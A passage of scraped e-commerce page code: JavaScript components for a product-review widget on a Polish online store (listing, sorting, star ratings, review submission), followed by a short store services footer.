首次加载会触发 tabchange 事件 if(this.firstRender) { this.firstRender = false; return; } const panelId = invocation.args.data.panelId; const { eleId, renderType } = invocation.args; this.panelId = panelId; this.pageNum = 1; this.modalHasMore = true; const params = { // only_media: panelId !== 'all', } const res = await this.getCommentList(params); this.renderCommentList({ listData: res.data, }, eleId, renderType, true); }); this.registerAction('renderTypeChangeList', async (invocation) => { const { type } = invocation.args.data; const { eleId, renderType } = invocation.args; this.panelId = type; this.pageNum = 1; this.modalHasMore = true; const params = { // only_media: type !== 'all', } const res = await this.getCommentList(params); this.renderCommentList({ listData: res.data, }, eleId, renderType, true); }); this.registerAction('renderSortedList', async(invocation) => { const { sort, direction } = invocation.args.data; const eleId = invocation.args.eleId; const renderType = invocation.args.renderType; this.sort = sort; this.direction = direction; this.pageNum = 1; this.modalHasMore = true; const params = { sort_by: sort, sort_direction: direction, } const res = await this.getCommentList(params); this.renderCommentList({ listData: res.data, }, eleId, renderType, true); }); this.registerAction('renderByPagination', async(invocation) => { const { pageNum, eleId, renderType } = invocation.args; this.pageNum = pageNum; const params = {} const res = await this.getCommentList(params); this.renderCommentList({ listData: res.data, }, `revue-comment-list-${this.section_id}_tab`, 'tab', true); const tabsEle = document.querySelector('#revue-product-compo'); if (tabsEle) { tabsEle.scrollIntoView({ behavior: 'smooth' }); } }); this.registerAction('renderByViewMore', async(invocation) => { const { eleId, renderType } = invocation.args; this.pageNum = this.pageNum + 1; const params = {} const res = await this.getCommentList(params); this.renderCommentList({ listData: res.data, }, eleId, renderType, false); }); this.registerAction('refresh', async(invocation) => { this.panelId = 'all'; this.sort = 'created_at'; this.direction = 'desc'; this.pageNum = 1; this.templates_ .findAndRenderTemplate(this.element, { isPC: this.isPC }, null) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); this.renderPage(); }); const productEle = document.querySelector(`#revue-viewall-modal-comp`); if (productEle) { SPZ.whenApiDefined(productEle).then(async (api) => { api.refresh(); }); } }); } } SPZ.defineElement(TAG, SpzCustomRevueProduct) (function() { const TAG = 'spz-custom-new-revue'; class SpzCustomNewRevue extends SPZ.BaseElement { constructor(element) { super(element); this.config_ = null; this.loading_ = false; this.accent_color = this.element.getAttribute('accent-color'); this.sectionId = this.element.getAttribute('section-id'); this.prefix = this.element.getAttribute('prefix'); } buildCallback() { this.action_ = SPZServices.actionServiceForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); this.form_ = SPZCore.Dom.scopedQuerySelector( this.element, 'form' ); this.hasShowLengthInputs_ = SPZCore.Dom.scopedQuerySelectorAll( this.form_, '[showlength]' ); [...this.hasShowLengthInputs_].forEach(item => { const countRecordDom = SPZCore.Dom.scopedQuerySelector( this.form_, `#${item.id} ~ div[type="count-record"]` ); if (!countRecordDom) { console.error(`Cannot find count record DOM element for input ${item.id}`); return; } item.addEventListener('input', (e) => { countRecordDom.innerText = `${e.target.value.length}/3000`; }); }); this.setupAction_(); this.getRevueConfigData_(); } setupAction_() { this.registerAction('submitForm', async(invocation) => { if (this.loading_) { return; } this.loading_ = true; const formData = Object.entries(invocation.args.data).reduce((acc, [key, value]) => { if (key === 'star' || key === 'type') { acc[key] = Number(value[0]); } else { acc[key] = value[0]; } return acc; }, {}); try { const data = await fetch('/api/comment', { method: "post", headers: { "Content-Type": "application/json" }, body: JSON.stringify(formData) }).then(res => res.json()); if (data.state === 0) { this.triggerEvent_('submitSuccess', { panelId: 'with_photo', message: '' }); return; } throw new Error(data.msg); } catch(e) { e = await e; this.triggerEvent_('submitError', {data: e.message}); } finally { this.loading_ = false; } }); this.registerAction('renderFormStar', async(invocation) => { this.triggerEvent_('rerenderFormStar', { star_color: this.starColor_ }); }) } mountCallback() { } getRevueConfigData_ = () => { fetch('/api/comment-config') .then(res => res.json()) .then(data => { this.config_ = data.data; // anonymous_permission 是否支持匿名 if (!this.config_.anonymous_permission) { const anonymousInput = this.form_.querySelector(`#${this.prefix}-revue-anonymous-${this.sectionId}`); anonymousInput.value = 'false'; anonymousInput.parentNode.classList.add('hidden', 'anonymous-permission-hidden'); } this.starColor_ = this.config_.star_color; if(this.accent_color && this.accent_color != 'null'){ this.starColor_ = this.accent_color; } // render star // star_color 星星颜色 const starEl = this.form_.querySelector(`#${this.prefix}-revue_write_modal_star-${this.sectionId}`); if (starEl) { SPZ.whenApiDefined(starEl).then((api) => { api.render({ star_color: this.starColor_ }); }); } }); } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported = (layout) => { return layout == SPZCore.Layout.CONTAINER; } } SPZ.defineElement(TAG, SpzCustomNewRevue); })() (function() { const TAG = 'spz-custom-revue-product-info-script'; class SpzCustomRevueProductInfoScript extends SPZ.BaseElement { constructor(element) { super(element); /** @private {!Element} */ this.product_id = null; } async buildCallback() { this.action_ = SPZServices.actionServiceForDoc(this.element); this.product_id = this.getProductId_(); this.triggerEvent_('init', { product_id: this.product_id }); try { const data = await this.getProductInfo_(); if (data?.data?.product) { this.triggerEvent_('finish', data.data.product); } } catch (error) { console.error('Failed to fetch product info:', error); // Handle the error appropriately } } getProductId_ = () => { return window.SHOPLAZZA.meta.page.resource_id; } async getProductInfo_() { if (!this.product_id) { console.error('Product ID is undefined or null'); return null; } try { const response = await fetch(`/api/products/${this.product_id}`); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } return await response.json(); } catch (error) { console.error('Error fetching product info:', error); throw error; // Rethrow to be caught by the caller } } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported = (layout) => { return layout == SPZCore.Layout.LOGIC; } } SPZ.defineElement(TAG, SpzCustomRevueProductInfoScript); })() const TAG = 'spz-custom-revue-star'; class SPZCustomRevueStar extends SPZ.BaseElement { constructor(element) { super(element); } static deferredMount() { return false; } buildCallback = () => { this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); this.starNum = this.element.getAttribute('starNum'); this.starTotal = this.element.getAttribute('starTotal'); this.showStarText = this.element.getAttribute('showStarText'); this.starColor = this.element.getAttribute('color'); this.interact = this.element.getAttribute('interact'); this.starSize = this.element.getAttribute('starSize') || 14; } mountCallback = () => { this.doRender_({ starTotal: this.starTotal, totalArray: Array.from({ length: Number(this.starTotal) }, (v, k) => k + 1), starNum: this.starNum, showStarText: this.showStarText, starColor: this.starColor, starSize: this.starSize }).then(() => { if (this.interact) { this.addEventListeners_(); } }); } addEventListeners_ = () => { const stars = document.querySelectorAll('.revue-star__star'); stars.forEach(star => { star.addEventListener('click', event => { const starEl = star.closest('.revue-star__star'); const starIndex = Number(starEl.dataset.index); let isHalf = event.offsetX < star.offsetWidth / 2; // rtl if (document.documentElement.getAttribute('dir') === 'rtl') { isHalf = event.offsetX > star.offsetWidth / 2; } const starValue = isHalf ? starIndex - 0.5 : starIndex; this.starClickHandler_({ value: starValue }); }); }); } renderStar = () => { const isRtl = document.documentElement.getAttribute('dir') === 'rtl'; const stars = this.element.querySelectorAll('.revue-star__star'); stars.forEach((star, i) => { const starIndex = i + 1; const starEl = star.querySelector('svg:nth-child(2)'); const isHalf = this.starNum % 1 > 0 && Math.ceil(this.starNum) === starIndex; const isSolid = starIndex <= Math.ceil(this.starNum); starEl.style.display = isSolid ? 'block' : 'none'; if (isHalf) { if (isRtl) { // RTL布局下,如果是半星,显示星星的右半边 starEl.style.clipPath = `polygon(50% 0, 100% 0, 100% 100%, 50% 100%)`; } else { // LTR布局下,如果是半星,显示星星的左半边 starEl.style.clipPath = `polygon(0 0, 50% 0, 50% 100%, 0 100%)`; } } else { starEl.style.clipPath = `polygon(0 0, 100% 0, 100% 100%, 0 100%)` } }); const showCountEle = this.element.querySelector('#revue-star-show-count'); showCountEle && SPZ.whenApiDefined(showCountEle).then((api) => { api.render({ starNum: this.starNum, starTotal: this.starTotal }); }); } doRender_ = (data) => { return this.templates_ .findAndRenderTemplate(this.element, { starSize: this.starSize, ...data }, null) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); }) .then(() => { this.starNum = data.starNum; this.renderStar(); }); } starClickHandler_ = (event) => { this.starNum = event.value; this.renderStar(); this.triggerEvent_('change', { value: event.value }); } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } } SPZ.defineElement(TAG, SPZCustomRevueStar) (function() { const TAG = 'spz-custom-new-revue-files-show'; class SpzCustomNewRevueFilesShow extends SPZ.BaseElement { constructor(element) { super(element); /** @private {!Element} */ this.files_ = [] } buildCallback() { this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.setupAction_(); this.element.setAttribute('nums', this.files_.length); } mountCallback() { } setupAction_() { this.registerAction('upload', async(invocation) => { const uploadFileList = invocation.args?.data || []; uploadFileList.forEach(file => { if(this.files_.some(item => item.url === file.url)) return this.files_.push(file); }) this.doRender_(); }); this.registerAction('delete', async(invocation) => { this.files_ = this.files_.filter((_, index) => index !== invocation.args.index); this.doRender_(); this.triggerEvent_('delete', { count: this.files_.length, files: this.files_ }); }); this.registerAction('preview', async(invocation) => { let previewFileData = this.files_[invocation.args.index]; if (previewFileData.type === 'video') { previewFileData = {...this.parseVideoSrc_(previewFileData.url), ...previewFileData}; } this.triggerEvent_('preview', previewFileData); }); this.registerAction('clear', async(invocation) => { this.files_ = []; this.doRender_(); }); } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } parseVideoSrc_(src) { const url = new URL(src); const params = new URLSearchParams(url.search); return { videoUrl: url.origin + url.pathname, mediaType: params.get('media_type'), vID: params.get('vID'), mp4: params.get('mp4'), hls: params.get('hls') }; } doRender_ = () => { this.triggerEvent_('setInputValue', { data: this.files_ .map(file => { const url = file.type === 'video' ? file.poster : file.url; return `${url}?width=${file.width}&height=${file.height}`; }) .join(',') }); this.element.setAttribute('nums', this.files_.length); return this.templates_ .findAndRenderTemplate(this.element, { files: this.files_ }) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); }) } isLayoutSupported = (layout) => { return layout == SPZCore.Layout.CONTAINER; } } SPZ.defineElement(TAG, SpzCustomNewRevueFilesShow); })() const TAG = 'spz-custom-revue-header'; class SPZCustomRevueHeader extends SPZ.BaseElement { constructor(element) { super(element); this.showCount = this.element.getAttribute('show-count'); } static deferredMount() { return false; } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } buildCallback() { this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); this.showCount = this.element.getAttribute('show-count'); this.showSummary = this.element.getAttribute('show-summary'); this.showWriteReview = this.element.getAttribute('show-write-review'); this.showType = this.element.getAttribute('show-type') ; this.showSort = this.element.getAttribute('show-sort') ; this.sectionId = this.element.getAttribute('section-id'); this.viewall = this.element.getAttribute('viewall') ?? false; this.prefix = this.element.getAttribute('prefix'); } mountCallback() { } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } render(data) { const ndata = { ...data, showCount: this.showCount, showSummary: this.showSummary, showWriteReview: this.showWriteReview, showType: this.showType, showSort: this.showSort, } if(this.viewall == 'review'){ ndata.viewall = false } return this.templates_ .findAndRenderTemplate(this.element, ndata, null, true) .then(({el}) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); }).then(() => { if(data && Object.keys(data).length > 0) { this.updateRender(data); this.setupSummaryContainerEffects_(data); } }); } updateRender(data) { this.renderStarCounts_(data); this.renderTypeSelect(data); this.renderSortSelect(data); } renderStarCounts_(data) { const renderData = { ...data.starData, star_color: data.star_color, isPC: data.isPC, } const summaryEle = data.isPC ? this.element.querySelector(`#${this.prefix}-revue-summary-${this.sectionId}_header_pc`) : this.element.querySelector(`#${this.prefix}-revue-summary-${this.sectionId}_header`); if(summaryEle) { SPZ.whenApiDefined(summaryEle).then((api) => { api.render(renderData); }); } } renderTypeSelect(data) { const typeSelect = this.element.querySelector(`#${this.prefix}-revue-header-type-${this.sectionId}`); if(typeSelect) { SPZ.whenApiDefined(typeSelect).then((api) => { api.render(data); api.registerAction('headerType_', (invocation) => { this.triggerEvent_('headerType', invocation.args.data); }); }); } } renderSortSelect(data) { const suffix = data.suffix || this.sectionId; const sortSelect = this.element.querySelector(`#${this.prefix}-revue-header-sort-${suffix}`); if(sortSelect) { SPZ.whenApiDefined(sortSelect).then((api) => { api.registerAction('headerSort_', (invocation) => { this.triggerEvent_('headerSort', invocation.args.data); }); }); } } setupSummaryContainerEffects_(data) { if(data.isPC) { this.setupSummaryContainerHover_(); } else { this.setupSummaryContainerTap_(); } } setupSummaryContainerHover_() { const summaryContainer = this.element.querySelector(`#revue-header-summary-container-${this.sectionId}`); const summaryEle = this.element.querySelector(`#${this.prefix}-revue-summary-${this.sectionId}_header_pc`); if (!summaryContainer || !summaryEle) return; let isHovering = false; // 鼠标移入容器时显示summary SPZUtils.Event.listen(summaryContainer, 'mouseenter', () => { isHovering = true; summaryEle.removeAttribute('hidden'); const selectIcon = summaryContainer.querySelector(`#revue-header-summary-icon-${this.sectionId}`); if(selectIcon) { selectIcon.classList.add('up-icon'); } }); // 鼠标移入summary时也保持显示 SPZUtils.Event.listen(summaryEle, 'mouseenter', () => { isHovering = true; }); // 鼠标移出容器时,检查是否还在summary上 SPZUtils.Event.listen(summaryContainer, 'mouseleave', () => { isHovering = false; setTimeout(() => { if (!isHovering) { summaryEle.setAttribute('hidden', 'true'); const selectIcon = summaryContainer.querySelector(`#revue-header-summary-icon-${this.sectionId}`); if(selectIcon) { selectIcon.classList.remove('up-icon'); } } }, 50); }); // 鼠标移出summary时,检查是否还在容器上 SPZUtils.Event.listen(summaryEle, 'mouseleave', () => { isHovering = false; setTimeout(() => { if (!isHovering) { summaryEle.setAttribute('hidden', 'true'); const selectIcon = summaryEle.querySelector(`#revue-header-summary-icon-${this.sectionId}`); if(selectIcon) { selectIcon.classList.remove('up-icon'); } } }, 50); }); } setupSummaryContainerTap_() { const selectIcon = this.element.querySelector(`#revue-header-summary-icon-${this.sectionId}`); const summaryEle = this.element.querySelector(`#${this.prefix}-revue-summary-${this.sectionId}_header`); if(!summaryEle) return; let isTapped = false; // 是否显示summary SPZ.whenApiDefined(summaryEle).then((api) => { api.registerAction('display', () => { if(isTapped) { isTapped = false; summaryEle.removeAttribute('hidden'); selectIcon.classList.add('up-icon'); } else { isTapped = true; summaryEle.setAttribute('hidden', 'true'); selectIcon.classList.remove('up-icon'); } }); }); } } SPZ.defineElement(TAG, SPZCustomRevueHeader); const TAG = 'spz-custom-revue-list'; class SPZCustomRevueList extends SPZ.BaseElement { constructor(element) { super(element); } static deferredMount() { return false; } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } buildCallback = () => { this.element_id = this.element.getAttribute('id'); this.section_id = this.element.getAttribute('section-id'); this.suffix = this.element.getAttribute('suffix'); this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); this.isPC = window.innerWidth > (window.breakpoint || 960); } mountCallback = () => { // this.render({}); this.setAction() } render = (data) => { const ndata = { ...data, pc_layout: window.reviewProductSettings[this.section_id].pc_layout, m_loading_type: window.reviewProductSettings[this.section_id].m_loading_type, container_id: this.element_id, suffix: this.suffix, isProductPage: this.isProductPage, } return this.templates_ .findAndRenderTemplate(this.element, ndata, null) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); }).then(() => { this.triggerEvent_('finish', {}); this.setupIntersectionObserver(); }); } renderList = (data, redo = false) => { const listEle = document.querySelector(`#revue-list-${this.suffix}`); const viewMoreEle = document.querySelector(`#revue-list-view-more`); const loadingEle = document.querySelector(`#revue-list-scroll-loading`); const viewMoreModal = document.querySelector(`#revue-viewall-modal-comp`); const reachBottomEle = document.querySelector(`#revue-list-reach-bottom-${this.suffix}`); if(viewMoreModal) { SPZ.whenApiDefined(viewMoreModal).then((api) => { api.setMarkScrollTop() }) } if (listEle) { SPZ.whenApiDefined(listEle).then((api) => { api.listRender(data, redo); }); } if(viewMoreEle) { if(data.hasmore) { viewMoreEle.removeAttribute('hidden'); } else { viewMoreEle.setAttribute('hidden', true); } } if (loadingEle) { if(data.hasmore) { loadingEle.removeAttribute('hidden'); } else { loadingEle.setAttribute('hidden', true); } } if (reachBottomEle) { if(data.hasmore) { reachBottomEle.setAttribute('hidden', true); } else { reachBottomEle.removeAttribute('hidden'); } } } setupIntersectionObserver = () => { // 创建 Intersection Observer 实例 const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { const viewallModal = document.querySelector(`#revue-viewall-modal-comp`); if (viewallModal) { SPZ.whenApiDefined(viewallModal).then((api) => { api.loadMore(); }); } } }); }, { threshold: 0.1 // 当目标元素 10% 进入视区时触发 }); const loadingElement = document.querySelector('.revue-list-scroll-loading'); if (loadingElement) { observer.observe(loadingElement); } } setAction = () => { this.registerAction('checkOverFlow', () => { // 检查普通评论 this.element.querySelectorAll('.revue_text_line_4').forEach(elem => { if (elem.scrollHeight > elem.clientHeight + 10) { elem.classList.add('overflow-text'); } else { elem.classList.remove('overflow-text'); } }); // 检查回复内容 this.element.querySelectorAll('.revue_reply').forEach(elem => { const contentElem = elem.querySelector('.revue_reply_content'); if (contentElem.scrollHeight > contentElem.clientHeight + 10) { elem.classList.add('overflow-text'); } else { elem.classList.remove('overflow-text'); } }); }); } } SPZ.defineElement(TAG, SPZCustomRevueList); const TAG = 'spz-custom-revue-viewall-modal'; class SPZCustomRevueViewallModal extends SPZ.BaseElement { constructor(element) { super(element); } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } buildCallback = () => { this.section_id = this.element.getAttribute('section-id'); this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.firstRender = true; this.markScrollTop = 0; this.scrollTop = 0; } mountCallback = () => { this.doRender_(); this.setupAction_(); } doRender_() { this.templates_ .findAndRenderTemplate(this.element, {}) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); }).then(() => { const viewallModalContentEle = document.querySelector(`#revue-viewall-modal-content-${this.section_id}`); viewallModalContentEle.addEventListener('scroll', () => { this.scrollTop = viewallModalContentEle.scrollTop; }); }) } setupAction_() { this.registerAction('renderTab', async (invocation) => { if(this.firstRender) { this.firstRender = false; const productEle = document.querySelector(`#revue-product-compo`); const summaryEle = document.querySelector(`#revue-summary-${this.section_id}_viewall`); if (productEle) { SPZ.whenApiDefined(productEle).then(async (api) => { api.renderStarCounts({}, `revue-summary-${this.section_id}_viewall`); api.renderCommentTab({ viewall: false, write_review: false, scroll_loading: true }, `revue-tab-${this.section_id}_viewall`); }); } } }); this.registerAction('scrollToLast', async (invocation) => { const viewallModalContentEle = document.querySelector(`#revue-viewall-modal-content-${this.section_id}`); if(viewallModalContentEle) { requestAnimationFrame(() => { viewallModalContentEle.scrollTop = this.markScrollTop; }); } }); } setMarkScrollTop() { this.markScrollTop = this.scrollTop; } refresh() { this.firstRender = true; this.scrollTop = 0; const productEle = document.querySelector(`#revue-viewall-modal-${this.section_id}`); if (productEle) { SPZ.whenApiDefined(productEle).then(async (api) => { api.close(); }); } } loadMore() { const productEle = document.querySelector(`#revue-product-compo`); if (productEle) { SPZ.whenApiDefined(productEle).then(async (api) => { await api.renderByScrollPagination(`revue-comment-list-${this.section_id}_tab`, 'tab'); }); } } } SPZ.defineElement(TAG, SPZCustomRevueViewallModal); let section_id = '1745308283374'; window.reviewProductSettings = {}; const default_settings = { "star_least": "5", "only_featured": false, "only_media": false, "review_insufficient": "no_reviews", "mini_quantity": 5, "actions": "empty", "pc_layout": "single_column", "m_loading_type": "modal", "m_modal_page_limit": "3", "page_limit": 10, "display_product_link": false, "hide_review_section": true, "title": "Reviews", "title_color": "rgba(51, 51, 51, 1)", "primary_color": "rgba(48, 53, 77, 1)", "section_bg_color": "rgba(255, 255, 255, 1)", "background_color_new": "rgba(255, 255, 255, 1)" }; // 兼容旧数据,去除html标签 const user_settings = { "description_text": "\u003Cp\u003EOto, co m\u00f3wi\u0105 nasi klienci.\u003C\/p\u003E", "star_least": "5", "only_featured": false, "only_media": false, "review_insufficient": null, "mini_quantity": 5, "actions": null, "pc_layout": "single_column", "m_loading_type": null, "m_modal_page_limit": null, "comment_page_limit": 10, "page_limit": 10, "display_product_link": false, "hide_review_section": true, "title": "Opinie Klient\u00f3w", "accent_color": null, "title_color": "rgba(51, 51, 51, 1)", "text_color": "rgba(48, 53, 77, 1)", "section_bg_color": null, "background_color_new": null }; window.reviewProductSettings[section_id] = Object.assign({}, default_settings, user_settings, { page_limit: user_settings.comment_page_limit || user_settings.page_limit || default_settings.page_limit });

NASZE USŁUGI

Darmowa Wysyłka

Na Wszystkie Zamówienia

Obsługa Klienta

Zwrot w ciągu 14 dni

Gwarancja Dostawy

Dostawa na czas

Bezpieczna Płatność

Bezpieczna Płatność